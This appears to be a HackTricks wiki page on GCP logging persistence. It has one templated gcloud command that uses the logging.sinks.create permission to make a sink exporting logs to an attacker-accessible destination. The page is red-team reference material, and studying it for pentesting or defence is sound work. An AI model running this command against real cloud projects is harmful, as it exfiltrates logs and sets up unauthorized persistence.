GCP - Logging Persistence

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Logging

Find more information about Logging in:

GCP - Logging Enum

logging.sinks.create

Create a sink to exfiltrate the logs to an attackers accessible destination:

gcloud logging sinks create <sink-name> <destination> --log-filter="FILTER_CONDITION"

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Last updated